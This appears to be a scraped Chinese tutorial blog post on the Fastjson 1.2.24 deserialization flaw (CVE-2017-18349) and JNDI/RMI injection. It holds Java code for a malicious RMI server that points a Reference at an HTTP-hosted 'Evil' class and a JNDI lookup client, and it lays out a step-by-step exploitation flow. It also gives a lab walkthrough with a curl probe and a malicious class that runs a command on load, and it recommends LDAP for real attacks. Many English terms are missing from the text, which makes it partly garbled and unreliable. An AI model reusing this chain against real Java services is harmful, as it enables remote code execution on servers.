远程控制漏洞/【漏洞分析】远程命令执行漏洞总结_小白黑客笔记

远程控制漏洞/【漏洞分析】远程命令执行漏洞总结_小白黑客笔记

简单介绍1. 简介

.jar包原始下载地址:.com//fas…

用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到。.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与对象的转换,实现对象与json字符串的转换,实现json对象与json字符串的转换。除了这个以外,还有开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。

将json字符串转化为json对象
在net.sf.json中是这么做的
JSONObject obj = new JSONObject().fromObject(jsonStr);//将json字符串转换为json对象
在fastjson中是这么做的
JSONObject obj=JSON.parseObject(jsonStr);//将json字符串转换为json对象

1.1 JNDI

JNDI是 Java 命名与目录接口(Java and ),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:

DNS、LDAP、CORBA对象服务、RMI

【2021最新整理网络安全\渗透测试\安全学习资料(小白视频\网安书籍100本\必备工具包\src文档\ctf\获取】1.2 利用JNDI 进行注入

对于这个知识点,我们需要先了解RMI的作用。

首先RMI( )是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过类来绑定一个外部的远程对象,当RMI绑定了之后,首先会利用.()获取绑定对象的引用,并在目录中保存,当客户端使用获取对应名字时,会返回类的代理文件,然后会调用()获取类,最终通过类将转换为具体的对象实例。

服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
 public static void main(String args[]) throws Exception {
 Registry registry = LocateRegistry.createRegistry(1099);
 // Reference需要传入三个参数(className,factory,factoryLocation)
 // 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
 Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
 // ReferenceWrapper包裹Reference类,使其能够通过RMI进行远程访问
 ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
 registry.bind("refObj", refObjWrapper);
 }
}

从源码可以看出,该类继承自,实现对的包裹,使其能够通过RMI进行远程访问

image.png

客户端

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
 public static void main(String[] args) throws Exception{
 try {
 Context ctx = new InitialContext();
 ctx.lookup("rmi://localhost:8000/refObj");
 }
 catch (NamingException e) {
 e.printStackTrace();
 }
 }
}

如果我们可以控制JNDI客户端中传入的url,就可以起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。

我们来看一下,类有两个属性,和 url,就是远程引用的类名,决定了我们远程类的位置,当本地中没有找到对应的类的时候,就会去请求地址下的类(支持http协议),此时如果我们将地址下的类换成我们的恶意类,就能让客户端执行。

ps:在java版本大于1.8u191之后版本存在的限制,只能信任已有的地址,不再能够从指定中下载字节码。

整个利用流程如下

1.首先开启HTTP服务器,并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

2.渗透总结

1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2.RMI是一种行为,指的是Java远程方法调用。
3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4.ldap指轻量级目录服务协议。

存在Java版本限制:

基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;
在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

2.1 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)漏洞原理

在解析json的过程中,支持使用来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用 在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

影响版本

Fastjson < 1.2.25

漏洞启动

靶机: ip:192.168.9.234 攻击机:kali ip:192.168.10.65

开启漏洞

docker-compose up -d
docker ps

image.png

image.png

访问靶机,可以看见json格式的输出:

image.png

image.png

因为是Java 8u102,没有com.sun.jndi.rmi..的限制,我们可以使用com.sun..的利用链,借助JNDI注入来执行命令。

在kali上执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。

curl http://192.168.9.234:8090/ -H "Content-Type: application/json" --data '{"name":"zcc", "age":18}'

image.png

kali安装Javac环境,这里我已经安装好了

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

image.png

编译恶意类代码

import java.lang.Runtime;
import java.lang.Process;
public class zcc{
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"touch", "/tmp/zcctest"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
 }
 }
}

image.png

image.png

javac zcc.java

image.png

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值